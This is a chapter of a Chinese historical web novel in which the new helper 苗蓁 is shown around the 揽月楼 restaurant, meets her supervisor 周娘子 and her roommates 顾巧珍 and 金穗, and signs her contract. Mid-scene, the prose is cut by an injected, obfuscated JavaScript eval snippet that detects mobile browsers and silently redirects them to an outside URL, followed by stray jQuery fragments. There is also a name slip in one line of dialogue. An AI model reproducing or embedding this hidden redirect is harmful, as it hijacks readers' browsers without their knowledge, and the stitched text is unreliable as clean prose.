“虽然是杂工,可也分等次。”田管事脚步不停,领着苗蓁边走边说道。
“顶好的,是酒水司务、器皿掌案这些,经手的东西都是直供贵客的,要手艺,更要有些见识。这类事务,工钱高,也体面。不过,大都是家传的手艺,或是积年的老人。寻常小工,干一辈子也未必能摸到边。”
他侧过头看了一眼苗蓁,“末等的,便是洗碗、洒扫、搬运这些。这些活儿糙,费力,人也杂。你初来乍到,先干这些入门,明白了?”
“嗯。”苗蓁睁大双眼,点点头。
“虽说,是简单的活儿,可是也马虎不得。”田管事语气重了些,“就拿洗碗来说,洗得干净是最要紧的。再者,楼里的这些乘菜的碗碟,喝茶的杯盏,都特意订做烧制的。若是不小心砸了一只,怕是你一天的活儿都白干了。”
说话间,两人已经穿过前厅大堂,步入了一方清净的中院。
光线豁然开阔,景致也截然不同。这里竟是一处精心布置的庭院。假山玲珑,引着一脉活水潺潺流过,几丛翠竹掩映着鹅卵石小径。
苗蓁下意识抬头,只见三层的回廊巧妙延伸到此处,形成一圈雅致的观景廊台,仔细一瞧,几扇朝着庭院的窗户,竟然镶嵌着明亮的水晶玻璃,里头影影绰绰,想来是价格不菲的雅间。客人在内品茗,便将这一方清幽尽收眼底。
田管事见她抬头张望,看得出神,脸上浅笑一下,像是见惯了这般反应。
“杂工也没什么定数,管事安排做什么,便做什么。前头接菜传话、后院搬货打水,灶下烧火洗碗……林林总总,且多着呢。只是……”他说话声顿了一下,语气多了几分凝重,“如今这一摊子事儿,都是姓曾的管着。”
苗蓁心下一紧,只静静点头道:“明白了,我会小心做事,绝不出错。”她迟疑片刻,又轻声问道:“敢问田管事,这楼里,像您这样的管事,共有几位?”
“算上老身,有四位。我们上头是掌柜。原本的胡掌柜,被东家派去扬州料理新店了,如今楼里的事儿,都是东家新指派的蒋掌柜主理。”
说到这,他似有似无地轻叹了口气,似乎话在嘴边却又无下文。
苗蓁识趣,没敢多问。
穿过中院的月洞门,喧嚷忙碌的声音一下扑面而来,仿佛踏入了另一个世界。
这里是后院,酒楼的“五脏六腑”所在。景象与中院的清雅判若云泥,院子颇大,人来人往,步履匆匆。
几个粗壮伙计正从板车上卸下整袋的米面和一筐筐的鲜蔬;四五个婆子坐在大木盆旁,洗着堆积如山的果蔬,梳着双髻的丫鬟们蹲在一旁摘菜。东侧厨房的门大开着,里头火光灼灼,清脆的切菜声不断。
一个身穿素青色绣花比甲,头戴素银簪的妇人,端着一个空木盆路过。
田管事一把将其叫住:“周娘子!”
“哎,田管事。”
“新来的杂工,交给你了。领回去安置,发身行头,讲一下规矩,赶紧上手。”
“得嘞。”周娘子笑得甜美,”来得正好,刚忙完手头的活儿。”
田管事转身对苗蓁最后叮嘱,“这是你班头,往后就听她的。”他略微一顿,压低声音,“对了,刘掌柜那边的账,你可别忘了去收。”
“嗯。记着了。”苗蓁点头。
目送田掌柜离开,周娘子才收回目光,上下扫了苗蓁一眼,干脆道:“跟我走吧。”
“周娘子好。”
“叫什么名儿。”
“苗蓁。”
“姓苗呀?”她脚步略缓,像是想起什么,“我家郎君,有个远房表亲,也姓苗。”
“那可是巧了。”苗蓁应和着,随她穿过忙碌的人群。
“每日卯时正刻,到院儿里点卯,班头安排下活儿,就该干什么干什么了。早上伙计们一起用饭是辰时,可得吃饱些。一过了晌午,客人便多了,直到晚上都不得闲,晚饭吃饭就自己瞅空,但不能耽误太久。”
这一路上,苗蓁能感觉到有好几道目光落在自己身上,令她有些不自在。
周娘子有所觉察,头也没回,只微妙地笑笑:“你知道他们为什么看你吗?”
“不知道。”苗蓁摆摆头,“想来是因为……我是新来的,觉得面生?”
“揽月楼的伙计多了,新面孔不稀奇。”周娘子这才侧过脸,眼里带着些看透世情的笑意,“稀奇的是,你一个初来乍到的小杂工,是田管事亲自领进来的。”
“我一个姐姐,与从前的胡掌柜是旧交。”苗蓁斟酌着回答。
“原来是这样,那就有意思了。”周娘子点点头,话里有话,“田管事跟着胡掌柜,在咱们楼里,少说也有三十年了,根基深厚。你呀,算是觅得了一个靠山。不过……”她话锋一转。
苗蓁不明所以,只屏息听着。
“有句老话叫做‘祸福相依’,往后你就知道了。”
两个人穿过一个小门,来到一个简朴的小院。院子里搭着几个杆子,晾满了各色衣服,仔细一看,正是前面那些伙计丫头们穿的衣服。想来,这里就是伙计们起居的“群房”了。
周娘子领着她走进一间狭窄的房间,从木柜里翻出襻膊围裙之类的,“这些是方便你干活儿用的,虽然清洗过,但也是之前人用过的,你若是讲究些,自己准备也可以。杂工不面客,没什么体面制服,干净利索就行。”
苗蓁接过衣服,眼前一亮,脱口问道:“跑前院的人,还有专门的衣裳呢?”
在她过往的人认知里,能有身不打补丁的衣服已是难得,这酒楼竟然还给下人发衣服,实在是豪气。
周娘子闻言,眼神中带着些笑意与了然——许多新来的人,或许都曾像苗蓁这般大惊小怪。她语气平平:“那是自然了。行了,你自己收拾打点一下,安置好了,就到后院找我,活儿不等人。”
-
苗蓁到了安排她住的房间,推开门,靠墙砌着的一个大通铺映入眼帘。
屋内陈设简单,除了床,便是一张大的榆木桌子,墙角立着几个带锁的柜子。
虽然简朴,可收拾得十分齐整,屋内是一股淡淡的皂角香味,桌上还摆着一个豁口的瓷瓶,插着几朵半蔫的野花。
扫了眼床铺,只铺了两床被褥。剩余的虽看着没有睡,却零散地堆了一些杂物。
苗蓁找了空地把包袱放下,转身一眼便看到那靠墙的柜子。
其中一个柜门虚掩着,挂锁松垮地搭在扣锁上,并未锁死。想来,是前头住的人匆忙间忘记了锁好。
她正想找一个地方,放置自己的衣物与贵重物品,于是见状便伸手想去看看那柜子是否是空的。
谁知刚一伸手,一声清冷的低喝在门口响起:
“住手!”
苗蓁手一缩,转过头。只见一个梳着双螺髻的女子快步走进来,眉眼细长,神色淡定,只是眉头微蹙。
她身后还跟着一个年纪更小的女孩儿,看上去也就十五六岁的样子,梳着三绺头,着一身规整的上菜丫头的制服。
这小丫头一进来就尖声帮腔:“你乱动人家柜子做什么?”
“我没动。”
苗蓁有些无奈,语气坦然地接着解释:“我只是看着柜子没锁好,以为是没人用的。”
“谁知道你是不是想翻东西?”小丫头不依不饶,“这可是我们巧珍姐的柜子,里头可都是贵重的,要是丢了,你赔得起吗?”
苗蓁有些诧异,看向那位被称作“巧珍姐”的女子——原来这柜子是她的,但反而是后面这小丫头在抢着“打抱不平”。
“行了,”顾巧珍出声制止了同伴,目光落在苗蓁脸上,又扫了一眼虚掩的柜门,语气缓和了些,依旧没什么温度,“金穗,你不是来收衣服的吗?去吧。”
“巧珍姐,她……”金穗听罢似有些不甘,瞥了苗蓁一眼,悻悻转身离开了
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17092363|195485||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
。
屋里剩下两人,顾巧珍重新将那把铜锁锁好,才转身打量苗蓁:“你就是田管事新招进来的伙计?”
“是,我叫苗蓁。”苗蓁迎上她的目光,微微一笑,“不知这位姐姐怎么称呼?”
“顾巧珍。”她答得简短,说罢就走到通铺空着的那边,开始收拾堆在上面的杂物。
顾巧珍一边收拾,一边和苗蓁道:
“金穗这丫头年纪小,性子也直,嘴上没遮拦。今天楼里传开了,说田管事带了个人进来。她最不喜欢那种‘走门路’进来的,这样的人干活儿不踏实。”
苗蓁听罢,了然地缓慢点点头,却又觉得有几分好笑,道:“可是我才刚到半天,什么活儿都没干呢,她怎么就这样想我?”
顾巧珍手上动作顿了顿,“所以说她年纪小嘛……她其实也不是针对你,只是单纯讨厌偷奸耍滑的人。日子长了,你是什么样的人,大家自然看得见。”
顾巧珍此时已将东西收拾得差不多了,只见她直起身,看向苗蓁,又说:
“还有一个原因是……这屋子本来只有我和苗蓁两个人住,宽敞惯了。如今你来了,难免要挤一些,她心里有点不痛快,也属常情。”
“原是这样。”苗蓁恍然大悟,“你放心,只要她日后不刁难,我也不是多事的,大家安生过日子便好。”
顾巧珍见她神色开朗,原先那紧绷的眼神放松了许多,只是脸上还是平静,没什么笑容。
苗蓁此时才注意到顾巧珍的穿着——一件淡紫色窄袖衫,里头衬着鹅黄色主腰,料子和针脚都显得精致,与这间屋子似乎有些不相称,于是开口问道:“我看金穗穿的,是前院上菜的衣裳,但姐姐你却不是,不知道姐姐在楼里是做的是什么活儿?”
“我管着后头的酒窖酒水,寻常不面客的。”
“你是酒水司务?”苗蓁很惊讶,这可是刚才田掌柜口中说的,那类有手艺、工钱高,寻常小工难以企及的“上等”职位。
“算是吧。”顾巧珍语气平淡,听不出什么波澜。
苗蓁心里疑惑更甚,犹豫了一下,还是忍不住问:“那你为何还住在这个院子里?”
按她想,顾巧珍工钱不低,即便不能独自住一间,也该有些好的住处才是。
顾巧珍手上的动作顿了顿,“家里有些旧债,”她声音依旧平直,像是在说一件和自己无关的事,“有个不成器的败家老爹,好赌成性,把家里房子抵了。现在住的地方离酒楼太远,只能暂时先住这了,省些路程,也省点开销。”
“哦……”苗蓁一时语塞,不知如何接话,只感慨真是家家有本难念的经。
沉默片刻,顾巧珍又提醒道:
“周娘子脾性不算苛刻,但杂活儿多,平日难免烦躁。你既收拾好了,就赶紧过去,别让她以为你躲懒。”
“哎,好,我这就去。”苗蓁忙应下,把自己的行囊放到属于她的位置上。
走到门边,她忽又停住,回头对那个背对着她的清瘦背影,认真说道:“巧珍,刚才……谢谢你!”
顾巧珍背影似乎僵了一下,没回头,只含糊地“嗯”了一声,耳根却泛起微红,大约是没想到这个新来的会如此直接道谢,还这般亲热地叫她。
到了前头,寻到账房先生,将那笔刘香玉托收的旧账细细核清。
账房先生拨着算盘,又让她在一式两份的雇工契书上按了手印。
契书条款简单却分明:写明工期、工钱、职责及损坏器物需照价赔偿等项。墨迹干透,苗蓁将自己那份对折又对折,仔细揣进怀中贴身处。
怀里的重量似乎又多了些——除了那份契约,还有属于刘香玉的那笔钱。
香玉姐虽说这钱可留给她应急,但苗蓁心里已拿定了主意:不到山穷水尽的关头,绝不动用分毫。
她要靠自己的双手,在这间繁华的揽月楼里,挣出一份属于自己的安身立命之所。